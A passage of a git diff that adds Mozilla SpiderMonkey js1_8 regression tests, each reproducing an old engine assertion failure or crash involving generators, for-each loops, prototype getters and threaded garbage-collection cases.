+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/extensions/regress-472450-03.js b/js/src/tests/js1_8/extensions/regress-472450-03.js
new file mode 100644
index 000000000..4c2d6adb5
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/regress-472450-03.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 472450;
+var summary = 'TM: Do not assert: StackBase(fp) + blockDepth == regs.sp';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var cyclic = [];
+ cyclic[0] = cyclic;
+ ({__proto__: cyclic})
+ for (var y = 0; y < 3; ++y) { for each (let z in ['', function(){}]) { let x =
+ 1, c = []; } }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/extensions/regress-472450-04.js b/js/src/tests/js1_8/extensions/regress-472450-04.js
new file mode 100644
index 000000000..c1d8f4d04
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/regress-472450-04.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 472450;
+var summary = 'TM: Do not assert: StackBase(fp) + blockDepth == regs.sp';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var cyclic = [];
+ cyclic[0] = cyclic;
+ ({__proto__: cyclic});
+ function f(){
+ eval("for (var y = 0; y < 1; ++y) { for each (let z in [null, function(){}, null, '', null, '', null]) { let x = 1, c = []; } }");
+ }
+ f();
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/extensions/regress-473040.js b/js/src/tests/js1_8/extensions/regress-473040.js
new file mode 100644
index 000000000..b0c944b11
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/regress-473040.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 473040;
+var summary = 'Do not assert: tm->reservedDoublePoolPtr > tm->reservedDoublePool';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+Object.defineProperty(__proto__, "functional",
+{
+ enumerable: true, configurable: true,
+ get: new Function("gc()")
+});
+for each (let x in [new Boolean(true), new Boolean(true), -0, new
+ Boolean(true), -0]) { undefined; }
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_8/extensions/regress-475971.js b/js/src/tests/js1_8/extensions/regress-475971.js
new file mode 100755
index 000000000..685ecec41
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/regress-475971.js
@@ -0,0 +1,58 @@
+// |reftest| skip
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 475971;
+var summary = 'js_CheckRedeclaration should unlock object on failures';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof scatter != 'function')
+ {
+ print(expect = actual =
+ 'Test skipped - requires threaded build with scatter');
+ }
+ else
+ {
+ function x() { return 1; };
+
+ // g must run sufficiently long to ensure that the global scope is accessed
+ // from the parallel threads.
+ function g()
+ {
+ var sum = 0;
+ try {
+ for (var i = 0; i != 10000; ++i) {
+ sum += x();
+ }
+ } catch (e) { }
+ }
+
+ scatter([g, g]);
+
+ try {
+ eval("const x = 1");
+ } catch (e) { }
+
+ scatter([g, g]);
+
+ print("Done");
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/extensions/regress-476414-01.js b/js/src/tests/js1_8/extensions/regress-476414-01.js
new file mode 100644
index 000000000..901783d15
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/regress-476414-01.js
@@ -0,0 +1,67 @@
+// |reftest| skip-if(!xulRuntime.shell) slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 476414;
+var summary = 'Do not crash @ GetGCThingFlags';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function whatToTestSpidermonkeyTrunk(code)
+{
+ return {
+ allowExec: true
+ };
+}
+whatToTest = whatToTestSpidermonkeyTrunk;
+function tryItOut(code)
+{
+ var wtt = whatToTest(code.replace(/\n/g, " ").replace(/\r/g, " "));
+ var f = new Function(code);
+ if (wtt.allowExec && f) {
+ rv = tryRunning(f, code);
+ }
+}
+function tryRunning(f, code)
+{
+ try {
+ var rv = f();
+ } catch(runError) {}
+}
+var realFunction = Function;
+var realUneval = uneval;
+var realToString = toString;
+var realToSource = toSource;
+function tryEnsureSanity()
+{
+ delete Function;
+ delete uneval;
+ delete toSource;
+ delete toString;
+ Function = realFunction;
+ uneval = realUneval;
+ toSource = realToSource;
+ toString = realToString;
+}
+for (let iters = 0; iters < 2000; ++iters) {
+ count=27745; tryItOut("with({x: (c) = (x2 = [])})false;");
+ tryEnsureSanity();
+ count=35594; tryItOut("switch(null) { case this.__defineSetter__(\"window\", function () { yield \"\" } ): break; }");
+ tryEnsureSanity();
+ count=45020; tryItOut("with({}) { (this.__defineGetter__(\"x\", function (y)this)); } ");
+ tryEnsureSanity();
+ count=45197; tryItOut("M:with((p={}, (p.z = <x/> === '' )()))/*TUUL*/for each (let y in [true, {}, {}, (void 0), true, true, true, (void 0), true, (void 0)]) { return; }");
+ tryEnsureSanity();
+ gc();
+ tryEnsureSanity();
+ count=45254; tryItOut("for each (NaN in this);");
+ tryEnsureSanity();
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_8/extensions/regress-476414-02.js b/js/src/tests/js1_8/extensions/regress-476414-02.js
new file mode 100644
index 000000000..9e64bfacb
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/regress-476414-02.js
@@ -0,0 +1,67 @@
+// |reftest| skip-if(!xulRuntime.shell) slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 476414;
+var summary = 'Do not crash @ js_NativeSet';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function whatToTestSpidermonkeyTrunk(code)
+{
+ return {
+ allowExec: true
+ };
+}
+whatToTest = whatToTestSpidermonkeyTrunk;
+function tryItOut(code)
+{
+ var wtt = whatToTest(code.replace(/\n/g, " ").replace(/\r/g, " "));
+ var f = new Function(code);
+ if (wtt.allowExec && f) {
+ rv = tryRunning(f, code);
+ }
+}
+function tryRunning(f, code)
+{
+ try {
+ var rv = f();
+ } catch(runError) {}
+}
+var realFunction = Function;
+var realUneval = uneval;
+var realToString = toString;
+var realToSource = toSource;
+function tryEnsureSanity()
+{
+ delete Function;
+ delete uneval;
+ delete toSource;
+ delete toString;
+ Function = realFunction;
+ uneval = realUneval;
+ toSource = realToSource;
+ toString = realToString;
+}
+for (let iters = 0; iters < 2000; ++iters) {
+ count=27745; tryItOut("with({x: (c) = (x2 = [])})false;");
+ tryEnsureSanity();
+ count=35594; tryItOut("switch(null) { case this.__defineSetter__(\"window\", function () { yield \"\" } ): break; }");
+ tryEnsureSanity();
+ count=45020; tryItOut("with({}) { (this.__defineGetter__(\"x\", function (y)this)); } ");
+ tryEnsureSanity();
+ count=45197; tryItOut("M:with((p={}, (p.z = <x/> === '' )()))/*TUUL*/for each (let y in [true, {}, {}, (void 0), true, true, true, (void 0), true, (void 0)]) { return; }");
+ tryEnsureSanity();
+ gc();
+ tryEnsureSanity();
+ count=45254; tryItOut("for each (NaN in this);");
+ tryEnsureSanity();
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_8/extensions/regress-476653.js b/js/src/tests/js1_8/extensions/regress-476653.js
new file mode 100644
index 000000000..1b33cdb9c
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/regress-476653.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 476653;
+var summary = 'Do not crash @ QuoteString';
+var actual = '';
+var expect = '';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+for each (let x1 in [''])
+for (i = 0; i < 1; ++i) {}
+delete uneval;
+for (i = 0; i < 1; ++i) {}
+for each (let x in [new String('q'), '', /x/, '', /x/]) {
+ for (var y = 0; y < 7; ++y) { if (y == 2 || y == 6) { setter = x; } }
+}
+try
+{
+ this.f(z);
+}
+catch(ex)
+{
+}
+
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/js1_8/extensions/regress-476869.js b/js/src/tests/js1_8/extensions/regress-476869.js
new file mode 100644
index 000000000..9b61596c0
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/regress-476869.js
@@ -0,0 +1,45 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 476869;
+var summary = 'Do not assert: v != JSVAL_ERROR_COOKIE';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof gczeal == 'undefined')
+ {
+ gczeal = (function (){});
+ }
+
+
+ function f()
+ {
+ (new Function("gczeal(1); for each (let y in [/x/,'',new Boolean(false),new Boolean(false),new Boolean(false),'',/x/,new Boolean(false),new Boolean(false)]){}"))();
+ }
+ __proto__.__iterator__ = this.__defineGetter__("", function(){})
+ f();
+
+
+ delete __proto__.__iterator__;
+
+ gczeal(0);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/extensions/regress-479252.js b/js/src/tests/js1_8/extensions/regress-479252.js
new file mode 100644
index 000000000..1f65c41c9
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/regress-479252.js
@@ -0,0 +1,41 @@
+// |reftest| skip
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479252;
+var summary = 'Avoid watchdog ticks when idle in shell';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof sleep != 'function' || typeof scatter != 'function' ||
+ typeof timeout != 'function')
+ {
+ print(expect = actual = 'Test skipped: requires mulithreads and timeout.');
+ }
+ else
+ {
+ expectExitCode(6);
+
+ function f() { sleep(100); }
+ timeout(1.0);
+ scatter([f,f,f,f,f]);
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/extensions/regress-479381.js b/js/src/tests/js1_8/extensions/regress-479381.js
new file mode 100644
index 000000000..e8c4a4d1a
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/regress-479381.js
@@ -0,0 +1,51 @@
+// |reftest| skip
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479381;
+var summary = 'Do not crash @ js_FinalizeStringRT with multi-threads.';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof gczeal != 'function' || typeof scatter != 'function')
+ {
+ print(expect = actual = 'Test skipped: requires mulithreads');
+ }
+ else
+ {
+ expect = actual = 'No Crash';
+
+ gczeal(2);
+
+ function f() {
+ var s;
+ for (var i = 0; i < 9999; i++)
+ s = 'a' + String(i)[3] + 'b';
+ return s;
+ }
+
+ print(scatter([f, f, f, f]));
+
+ gczeal(0);
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/extensions/regress-481989.js b/js/src/tests/js1_8/extensions/regress-481989.js
new file mode 100644
index 000000000..36efb7567
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/regress-481989.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 481989;
+var summary = 'TM: Do not assert: SPROP_HAS_STUB_SETTER(sprop)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+y = this.watch("x", function(){}); for each (let y in ['', '']) x = y;
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_8/extensions/regress-482263.js b/js/src/tests/js1_8/extensions/regress-482263.js
new file mode 100644
index 000000000..0c395a494
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/regress-482263.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 482263;
+var summary = 'TM: Do not assert: x->oprnd2() == lirbuf->sp || x->oprnd2() == gp_ins';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+Object.defineProperty(__proto__, "x",
+{
+ enumerable: true, configurable: true,
+ get: function () { return ([]) }
+});
+for each (let x in []) { for each (let x in ['', '']) { } }
+
+
+reportCompare(expect, actual, summary);
+
+delete __proto__.x;
diff --git a/js/src/tests/js1_8/extensions/shell.js b/js/src/tests/js1_8/extensions/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/shell.js
diff --git a/js/src/tests/js1_8/extensions/simple-tree.js b/js/src/tests/js1_8/extensions/simple-tree.js
new file mode 100644
index 000000000..3795ee61b
--- /dev/null
+++ b/js/src/tests/js1_8/extensions/simple-tree.js
@@ -0,0 +1,52 @@
+// |reftest| skip
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+
+var summary = "Create a tree of threads";
+
+var N = 50; // number of threads to create
+
+printStatus (summary);
+
+function range(start, stop) {
+ var a = [];
+ for (var i = start; i < stop; i++)
+ a.push(i);
+ return a;
+}
+
+function tree(start, stop) {
+ sleep(0.001);
+
+ if (start >= stop)
+ return [];
+ else if (start + 1 >= stop)
+ return [start];
+
+ sleep(0.001);
+
+ let mid = start + Math.floor((stop - start) / 2);
+ let halves = scatter([function () { return tree(start, mid); },
+ function () { return tree(mid, stop); }]);
+ sleep(0.001);
+ return Array.prototype.concat.apply([], halves);
+}
+
+var expect;
+var actual;
+
+if (typeof scatter == 'undefined' || typeof sleep == 'undefined') {
+ print('Test skipped. scatter or sleep not defined.');
+ expect = actual = 'Test skipped.';
+} else {
+ expect = range(0, N).toSource();
+ actual = tree(0, N).toSource();
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_8/genexps/regress-347739.js b/js/src/tests/js1_8/genexps/regress-347739.js
new file mode 100644
index 000000000..cdc4c9c6a
--- /dev/null
+++ b/js/src/tests/js1_8/genexps/regress-347739.js
@@ -0,0 +1,51 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 347739;
+var summary = 'generator_instance.close readonly and immune';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function gen_test(test_index)
+ {
+ try {
+ yield 1;
+ } finally {
+ actual += "Inside finally: "+test_index + ' ';
+ }
+ }
+
+ actual = '';
+ expect = 'Inside finally: 1 Inside finally: 2 ';
+
+ var iter1 = gen_test(1);
+ var close = iter1.close;
+ iter1.close = null;
+ delete iter1.close;
+ iter1.next();
+ iter1.close();
+
+ var iter2 = gen_test(2);
+ for (i in iter2) {
+ iter2.close = null;
+ delete iter2.close;
+ }
+
+ reportCompare(expect, actual, summary + ': 2');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/genexps/regress-349012-01.js b/js/src/tests/js1_8/genexps/regress-349012-01.js
new file mode 100644
index 000000000..1e3e03f28
--- /dev/null
+++ b/js/src/tests/js1_8/genexps/regress-349012-01.js
@@ -0,0 +1,54 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 349012;
+var summary = 'closing a generator fails to report error if yield during close is ignored';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+if (typeof quit != 'undefined')
+{
+ quit(0);
+}
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = "Inner finally,Outer finally";
+
+ function gen()
+ {
+ try {
+ try {
+ yield 1;
+ } finally {
+ actual += "Inner finally";
+ yield 2;
+ }
+ } finally {
+ actual += ",Outer finally";
+ }
+ }
+
+ try {
+ for (var i in gen())
+ break;
+ } catch (e) {
+ if (!(e instanceof TypeError))
+ throw e;
+ }
+
+ reportCompare(expect, actual, summary);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/genexps/regress-349326.js b/js/src/tests/js1_8/genexps/regress-349326.js
new file mode 100644
index 000000000..eea4e98a7
--- /dev/null
+++ b/js/src/tests/js1_8/genexps/regress-349326.js
@@ -0,0 +1,148 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 349326;
+var summary = 'closing generators';
+var actual = 'PASS';
+var expect = 'PASS';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ let closed;
+
+ function gen()
+ {
+ try {
+ yield 1;
+ yield 2;
+ } finally {
+ closed = true;
+ }
+ }
+
+// Test that return closes the generator
+ function test_return()
+ {
+ for (let i in gen()) {
+ if (i != 1)
+ throw "unexpected generator value";
+ return 10;
+ }
+ }
+
+ closed = false;
+ test_return();
+ if (closed !== true)
+ throw "return does not close generator";
+
+// test that break closes generator
+
+ closed = false;
+ for (let i in gen()) {
+ if (i != 1)
+ throw "unexpected generator value";
+ break;
+ }
+ if (closed !== true)
+ throw "break does not close generator";
+
+label: {
+ for (;;) {
+ closed = false;
+ for (let i in gen()) {
+ if (i != 1)
+ throw "unexpected generator value";
+ break label;
+ }
+ }
+ }
+
+ if (closed !== true)
+ throw "break does not close generator";
+
+// test that an exception closes generator
+
+ function function_that_throws()
+ {
+ throw function_that_throws;
+ }
+
+ try {
+ closed = false;
+ for (let i in gen()) {
+ if (i != 1)
+ throw "unexpected generator value";
+ function_that_throws();
+ }
+ } catch (e) {
+ if (e !== function_that_throws)
+ throw e;
+ }
+
+ if (closed !== true)
+ throw "exception does not close generator";
+
+// Check consistency of finally execution in presence of generators
+
+ let gen2_was_closed = false;
+ let gen3_was_closed = false;
+ let finally_was_executed = false;
+
+ function gen2() {
+ try {
+ yield 2;
+ } finally {
+ if (gen2_was_closed || !finally_was_executed || !gen3_was_closed)
+ throw "bad oder of gen2 finally execution"
+ gen2_was_closed = true;
+ throw gen2;
+ }
+ }
+
+ function gen3() {
+ try {
+ yield 3;
+ } finally {
+ if (gen2_was_closed || finally_was_executed || gen3_was_closed)
+ throw "bad oder of gen3 finally execution"
+ gen3_was_closed = true;
+ }
+ }
+
+label2: {
+ try {
+ for (let i in gen2()) {
+ try {
+ for (let j in gen3()) {
+ break label2;
+ }
+ } finally {
+ if (gen2_was_closed || finally_was_executed || !gen3_was_closed)
+ throw "bad oder of try-finally execution";
+ finally_was_executed = true;
+ }
+ }
+ throw "gen2 finally should throw";
+ } catch (e) {
+ if (e != gen2) throw e;
+ }
+ }
+
+ print("OK");
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/genexps/regress-384991.js b/js/src/tests/js1_8/genexps/regress-384991.js
new file mode 100644
index 000000000..a34adfb3f
--- /dev/null
+++ b/js/src/tests/js1_8/genexps/regress-384991.js
@@ -0,0 +1,59 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 384991;
+var summary = ' w(yield) should not cause "yield expression must be parenthesized" syntax error';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'No Error';
+
+ try
+ {
+ actual = 'No Error';
+ (function() { w((yield)); });
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': 1');
+
+ try
+ {
+ actual = 'No Error';
+ (function() { w(1 ? yield : 0); });
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': 2');
+
+ try
+ {
+ actual = 'No Error';
+ (function () { f(x = yield); const x = undefined; });
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': 3');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/genexps/regress-665286.js b/js/src/tests/js1_8/genexps/regress-665286.js
new file mode 100644
index 000000000..fc8f92266
--- /dev/null
+++ b/js/src/tests/js1_8/genexps/regress-665286.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 665286;
+var summary = 'yield in arguments list';
+var actual = '';
+var expect = '';
+
+function reported() {
+ function f() {
+ x
+ }
+ f(yield [])
+}
+
+function simplified1() {
+ print(yield)
+}
+
+function simplified2() {
+ print(1, yield)
+}
+
+reportCompare(reported.isGenerator(), true, "reported case: is generator");
+reportCompare(typeof reported(), "object", "reported case: calling doesn't crash");
+reportCompare(simplified1.isGenerator(), true, "simplified case 1: is generator");
+reportCompare(typeof simplified1(), "object", "simplified case 1: calling doesn't crash");
+reportCompare(simplified2.isGenerator(), true, "simplified case 2: is generator");
+reportCompare(typeof simplified2(), "object", "simplified case 2: calling doesn't crash");
diff --git a/js/src/tests/js1_8/genexps/regress-683738.js b/js/src/tests/js1_8/genexps/regress-683738.js
new file mode 100644
index 000000000..de563645d
--- /dev/null
+++ b/js/src/tests/js1_8/genexps/regress-683738.js
@@ -0,0 +1,71 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 683738;
+var summary = 'return with argument and lazy generator detection';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = "generator function foo returns a value";
+ try
+ {
+ actual = 'No Error';
+ eval("function foo(x) { if (x) { return this; } else { yield 3; } }");
+ }
+ catch(ex)
+ {
+ actual = ex.message;
+ }
+ reportCompare(expect, actual, summary + ": 1");
+
+ expect = "generator function foo returns a value";
+ try
+ {
+ actual = 'No Error';
+ eval("function foo(x) { if (x) { yield 3; } else { return this; } }");
+ }
+ catch(ex)
+ {
+ actual = ex.message;
+ }
+ reportCompare(expect, actual, summary + ": 2");
+
+ expect = "generator function foo returns a value";
+ try
+ {
+ actual = 'No Error';
+ eval("function foo(x) { if (x) { return this; } else { (yield 3); } }");
+ }
+ catch(ex)
+ {
+ actual = ex.message;
+ }
+ reportCompare(expect, actual, summary + ": 3");
+
+ expect = "generator function foo returns a value";
+ try
+ {
+ actual = 'No Error';
+ eval("function foo(x) { if (x) { (yield 3); } else { return this; } }");
+ }
+ catch(ex)
+ {
+ actual = ex.message;
+ }
+ reportCompare(expect, actual, summary + ": 4");
+
+}
diff --git a/js/src/tests/js1_8/genexps/shell.js b/js/src/tests/js1_8/genexps/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_8/genexps/shell.js
diff --git a/js/src/tests/js1_8/regress/browser.js b/js/src/tests/js1_8/regress/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_8/regress/browser.js
diff --git a/js/src/tests/js1_8/regress/regress-366941.js b/js/src/tests/js1_8/regress/regress-366941.js
new file mode 100644
index 000000000..bca3933d4
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-366941.js
@@ -0,0 +1,74 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Robert Sayre
+ */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 366941;
+var summary = 'Destructuring enumerations, iterations';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var list1 = [[1,2],[3,4],[5,6]];
+ var list2 = [[1,2,3],[4,5,6],[7,8,9]];
+
+ expect = '1,2;3,4;5,6;';
+ actual = '';
+
+ for each (var [foo, bar] in list1) {
+ actual += foo + "," + bar + ";";
+ }
+
+ reportCompare(expect, actual, summary + ': 1');
+
